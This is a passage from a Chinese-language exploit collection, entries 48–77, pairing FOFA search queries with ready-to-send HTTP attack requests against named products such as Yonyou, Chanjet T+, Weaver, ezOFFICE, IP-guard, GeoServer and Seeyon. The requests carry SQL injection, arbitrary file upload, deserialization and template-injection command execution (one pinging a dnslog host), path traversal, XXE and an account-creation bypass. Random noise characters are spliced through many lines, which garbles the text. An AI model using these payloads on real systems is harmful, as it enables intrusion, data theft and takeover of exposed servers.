FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
4 s5 R# j5 K) }1 ~! R- yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 g$ N9 d3 d' e  n( J9 |% L+ v  kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
5 U" p. W7 K0 kContent-Disposition: form-data; name="file"; filename="s.php"
1231
* I! C: X* s) Z* F4 ^Content-Type: application/octet-stream
1 S+ \. a& F, ?- S. g------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
6 H9 o9 y- l; {upload
------269520967239406871642430066855--
6 D2 I# g& N- K( P$ V2 Y

. h% f8 d. g( Y8 F/ c) t49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- O+ {3 Y2 _2 w  M4 J3 J2 cFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
6 p' l0 L2 y. Q8 w$ ^# V4 Q- D5 J- _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( E3 s/ g4 v8 \: rConnection: close
; p, ?4 J; z- UContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
; Z4 W' V1 d+ d# e+ e+ j
4 ~& Y  w; m6 t6 g2 d-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
( L2 D( Q5 \  rContent-Disposition: form-data; name="upload"

  f$ h6 I; M" qupload
-----------------------------vvv3wdayqv3yppdxvn3w--
2 l( r) x; J. C
9 j! b6 B9 q9 ~5 [" {. V
, \9 E: G( D- q) ihttp://x.x.x.x/tmpfile/updB3CB.tmp.php
% `: `8 y( b  g6 T) f
50. QDocs Smart School 6.4.1 filterRecords SQL注入
; s( K" K& {% r% E, r0 xFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
, M6 B' {  `4 D7 m& c( UHost: x.x.x.x
( u! a* v$ Q& nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
- @. D1 u  e$ VContent-Length: 224
Accept: */*
Accept-Language: en
4 P8 Y9 u1 ?1 V. N" n7 v' @: g1 H4 IContent-Type: application/x-www-form-urlencoded
9 |6 B6 D8 |: e( u& p5 i# e! cAccept-Encoding: gzip
3 ?# S* F0 |4 f) E
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
" q+ x3 g5 s* ?+ [9 n% ~

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
! _( o0 C; Q- [1 Q: L2 t+ yFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! k5 x& r- r* Q- z2 ?7 rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
5 v) v0 D3 m' S( B7 h$ a. q3 i! tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
( G( V8 W1 t& NUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& j! L- q! r3 {Connection: close
Content-Length: 87
Accept: */*
9 a1 I, C7 c1 L; D, P* a8 lAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
' A" A1 x- \8 [9 @6 A
9 q2 r+ `( f- k3 R7 E/ ttfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
9 e' Y: [# e2 [$ e& v
- e7 l0 m/ |& X9 ^8 q" d6 S2 N# f
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
& {4 ]! L8 X9 k1 V/ a! [( L4 Y: ]. U/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


* j7 M0 c. [' O1 `, i* a6 j54. 畅捷通T+ getstorewarehousebystore 远程代码执行
  r, y6 R" l9 R+ G! @$ E: g2 Z5 eFOFA：app="畅捷通-TPlus"
# s) [* r! M% x& h9 ~第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
9 |7 n5 L' q) p1 k! W; z"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


% d* F0 d8 v9 |6 c0 {3 S3 Q5 E$ n& Q# \完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
9 }. s3 m2 n- MHost: x.x.x.x
4 r! _5 X* }5 D6 a: a2 pUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
) I! ?+ }" c3 i$ ?* IContent-Length: 593
* A' f. a3 R0 q- T; k. I
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
0 P( d+ m( M, h  p& V1 `2 G "MethodName":"Start",
9 z" m, b& T1 x! L! V; b' _8 L  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
& B4 L' J- h& _   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 l) U6 P; D' E$ q' a" b    "FileName":"cmd",
1 E. ?% T, Y6 a    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
* ?$ ~. z0 s9 u. c1 k  }
}

  f# p& Y' @6 |
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

/ n( \9 n7 Y, u: z5 k: Q
, [0 p2 n, M3 ^55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
; H9 @7 Q- e! z' E' q& n/ u第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
$ M: k* o2 I* K  i# P; f( K/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
" x- A( U- H" A
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
& ], |  A6 \+ V3 q6 s" XFOFA: app="畅捷通-TPlus"
1 P* G. R7 S/ t: I2 ~9 k* MPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: @! _1 V9 a6 A' T' F* m/ _Host: x.x.x.x
4 v& R9 }+ k! [7 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

9 E+ [. y; X9 f  O+ V4 M{
  "storeID":{
1 r& o4 A; j5 Y" Q5 H$ }1 h    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 _/ ^! i' H) g: p; ?- w   "MethodName":"Start",
2 C8 }2 S( U+ f$ c    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
$ T) Q/ `% p. H0 g3 B           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
6 B& x6 `/ Y* |& n' G, i( C! J    }
' ], Z9 Q' v* x0 e- \9 C( t  }
1 d' U7 H5 ]4 g" P, y4 c1 ~}

$ A4 e1 q7 }/ ?+ w# \0 |5 n
5 m5 Q' U+ H6 ?! P57. 畅捷通T+ keyEdit.aspx SQL注入
$ n* q  Z# D- K. M1 q% [FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
$ w. _% b: _* cUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! _' V; f4 q$ fAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
' y0 b: _, v- g) R6 l* ^" |$ UConnection: close

0 R+ L) {- i* i
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
  c+ _) ^) I" a/ @3 RHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
9 F4 g2 \% X- l: O6 I- ~Accept-Encoding: gzip, deflate
Connection: close
: U  V/ |7 i, }! I( Q% P7 {5 k8 K
: s/ e+ z0 V8 @; M& ]- Z: ]6 x1 G
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
, e; x2 H# b% q! A6 d+ k9 pFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+ e. u2 M. R3 L1 m% z8 }/ yHost: 192.168.86.128:9090
8 S2 m8 h$ J& @User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
- W7 R7 k) s& G$ b& l1 P* P8 MConnection: close
4 {, Q0 Y+ q: |- wContent-Length: 1669
; Z* b" z) D/ ]# ^( b" @' RAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! Z' ]& |4 C. _# k' U
# J, C1 x8 O& G' ]PAYLOAD

1 m* ?3 P* L% ~% X# ?$ ^
60. 百卓Smart管理平台 importexport.php SQL注入
8 x1 z% S% f/ d- d6 W5 X2 p$ RFOFA：title="Smart管理平台"
7 m& O& ^/ P+ G4 R0 \7 j3 [7 m1 XGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
! O7 E0 f+ x# W, y5 t# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  p0 _3 h. A; ?, j- N  QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- M5 k8 B4 V# O3 IConnection: close


$ b& O6 c" B3 h0 x: I* _61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
' ?3 N- C& t/ w2 JPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
( T' H' `" ?: jAccept: */*
/ v5 s  [! X( n8 P) s1 \7 ~Accept-Encoding: gzip, deflate
Accept-Language: en
, Z/ [4 z- }" R7 r6 BContent-Type: application/x-www-form-urlencoded

5 ]- P4 |1 X5 G* g* t9 `8uxssX66eqrqtKObcVa0kid98xa
/ C: I4 f2 D* I5 L% L
+ ?. O/ ?! r5 Z& c: ]! g
62. IP-guard WebServer 远程命令执行
4 ?- T+ c$ W$ v( CFOFA："IP-guard" && icon_hash="2030860561"
" b1 v: p8 b/ d( G! b: fGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
: g  k2 C: S% ]9 U- s1 kUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
# \& G; B: E2 [% yAccept: */*
Accept-Language: en
Accept-Encoding: gzip

! d6 P* k( q. x, {6 r; K
访问
5 u0 M' L6 x: D. R
- h+ R: f4 q! e  b' L/ xGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
# I% W. j9 D- n1 _( x* L0 p2 kHost: x.x.x.x
/ F8 D* V3 p% R0 D+ [/ Z

/ r5 F  P/ e( L- |63. IP-guard WebServer任意文件读取
1 n3 Q/ ]( K* D) L8 O/ P( q& OIP-guard < 4.82.0609.0
! A2 c% _# v% U5 J) }9 S4 uFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
6 H! E% l' c' D+ B. ^+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Y$ z9 O6 Z) e2 k! V! L$ `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* p- q$ k0 ^8 E6 M* V. d3 S) h" Y5 lConnection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
: A. r8 m/ F' b) L7 h! W
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
& y& {1 t2 W" ?0 D( |2 G7 GPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
6 e1 {3 p3 z3 o0 [0 Z6 HHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
+ t3 J4 R- t. O$ s( q- JContent-Type: text/xml; charset=utf-8
1 I6 d+ k3 S6 @, @- D) C6 MAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
) v3 e6 G0 l2 [/ G) V# @<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ |6 `  b" E) b3 |    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
; n" H* `+ U# \0 _& y</soap:Envelope>
0 u: j6 f; N" K2 `
  A) L, W6 g$ J3 e; ?
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
* _  W3 f' ~% c% r! iPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
' e; o7 p- M; ^/ VAccept: */*
Connection: close
7 J8 R2 Y% K; @. H2 ]  vAccept-Language: en
Content-Length: 174
, E" k  h1 O" x
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

8 ]2 ]3 o% F* g, P
: S3 p% A, v8 [( o66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
2 I) O; W5 |9 D& E' V; b
2 P5 ^* X5 p6 h( fGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
: r1 f2 e. O: u) C. g" }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
; ]0 J: {7 \9 k2 M
& {" X- Z) b' Y4 t! U
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
4 l2 G" {- u6 f: o% L# H
" w9 @; D( s- p! p. l67. 万户ezOFFICE wpsservlet任意文件上传
7 q. @  r) T7 H3 B  H& OFOFA：app="万户网络-ezOFFICE"
0 _% P9 M6 I$ A( P( R1 d2 g6 hnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
, P% z2 O  v! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
+ m, n% M& V# F' G: ^4 fContent-Length: 173
6 z/ t! o/ O( p  h, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  q4 _# m  A6 m) R$ [Accept-Encoding: gzip, deflate
, z! A3 X& J7 S  `! f- G, dAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
+ y1 {# n" |' L8 o- M9 [8 x8 a' N: lUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
3 z9 X' M- T* ~4 o& |" |5 W2 ]  Q
1 c- j* q! Z+ B/ \- B8 d* E68. 万户ezOFFICE wf_printnum.jsp SQL注入
( Y+ J7 z- W$ ^3 y0 H& i* OFOFA：app="万户ezOFFICE协同管理平台"
! _) ^4 e. W: mGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
. i# O1 a3 `1 a& l9 c5 pAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
$ a. {5 w( t  [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 t( Q$ x9 a7 r( s' \

9 o& W% [: u) J# l: t8 i69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
# G! P4 s4 x. e6 JGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, a1 F1 i/ r: a5 n, G. w/ t  t$ zAccept-Encoding: gzip, deflate
3 \7 U$ d6 x+ M7 {& O% NAccept: */*
+ M3 W. h. F" ]9 {Connection: keep-alive
+ z- O* K) m* @5 E; }
' x; H( y( Z% M. H0 Q2 ~
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
0 N# j' b6 Y, S0 JPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
' j* U, W! z& \2 q7 V: {( O1 Q! eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. R) _- E5 B# n1 N, ZSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
! T- j/ A6 t: Q. S# X3 ^Content-Type: application/x-www-form-urlencoded
3 Z+ l$ R' P" z, FTYPE: C
% I9 H2 z$ T0 [* f$ N! b5 ~Content-Length: 16702
5 g- P3 @; y/ h
__VIEWSTATE=PAYLOAD
- V2 ~& W* ^" b7 B

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
( {. E4 G) g  X9 @" d5 qFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
( d; y* G! T5 E5 _% @, |4 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& n4 G' m1 X+ b8 R3 B1 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
  t4 W  p. s0 a& L# v! ^/ @
  B. ^8 v& e; z0 M
72. 致远OA getAjaxDataServlet XXE
. L' a' M2 @3 J" ?FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
$ b4 H0 @  e& j- v; NContent-Length: 583
8 X# }7 ]4 C+ w' K( YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

; o% H# {5 ^6 wS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  I3 s8 V8 I% ?3 n' f) @
2 z$ j, f) u8 Q. j
& B- \# l  R9 q73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
* H% K) @5 F" \$ J+ r3 ~+ B; `' BPOST /geoserver/wms HTTP/1.1
Host:
) A# N2 V2 R1 N8 s! C& v/ M; bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( z1 p, U5 Q0 g' T4 `Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
/ u7 S& b1 B& [% k3 m& F
% A1 p; q1 @5 }1 U8 D. EPAYLOAD
- ]) U6 U2 l8 P% v
6 `6 i6 i: _% r
/ {- q* _' G/ j, F74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
" x7 `  q2 d) D" s: c! E/ g" r
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
: K3 d# ~! _/ e, R0 ~( VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
6 W, u3 T; z6 J. ^5 {Accept: */*
Accept-Language: en
+ A5 f" l+ r* ?Accept-Encoding: gzip
% X! ^& B5 u* c0 i8 t

* J9 w  o/ N# T9 H5 V# f8 O. [GET /cgi-bin/test28256.txt HTTP/1.1
+ x( m5 R: N) ~Host: x.x.x.x

$ r7 a7 T) P: L6 _6 g
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
8 J3 D+ d1 M3 H" C9 J* APOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
& ^# |* Q) G6 Y$ F- aContent-Length: 211
/ }  f9 k  V# V& e* y2 f: X. gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
7 l. e: L. o2 D5 ^"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 r8 z# {/ h3 F3 b  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

5 Y& E/ {3 N# C( @+ g! h
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



77. F22服装管理软件系统UploadHandler.ashx任意文件上传
6 Q2 _# X6 j0 K* E3 _FOFA：body="F22WEB登陆"
3 n2 U( `0 S: a$ h, rPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
1 P9 @- I" \: t, m4 r7 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- `: t: j3 Y2 I3 D0 ?3 p/ WConnection: close
Content-Length: 433
Accept: */*
, J9 m! E) V6 qAccept-Encoding: gzip, deflate
. ~0 P  D( ?6 O" {8 ZAccept-Language: zh-CN,zh;q=0.9
9 J  V- T9 N& I$ [  s# Z; |Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
: C/ f# ^' q) N' _1 b' m7 Q
! ?  `; W4 c2 u5 M  s------------398jnjVTTlDVXHlE7yYnfwBoix
( ^1 \/ i5 }  M" ?$ M6 ~Content-Disposition: form-data; name="folder"
; n3 @1 {; J# E3 {& i& S. z
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
3 u2 ]' m2 J6 J+ e5 sContent-Type: application/octet-stream
3 ^/ {# t) L2 e. }& F
( {( U& d7 o; d6 S3 l" `hello1234567
4 {3 G+ U4 ?7 \# L& N: |------------398jnjVTTlDVXHlE7yYnfwBoix
$ _7 L3 o2 L, N) mContent-Disposition: form-data; name="Upload"
5 K  ?( L- i  M
Submit Query
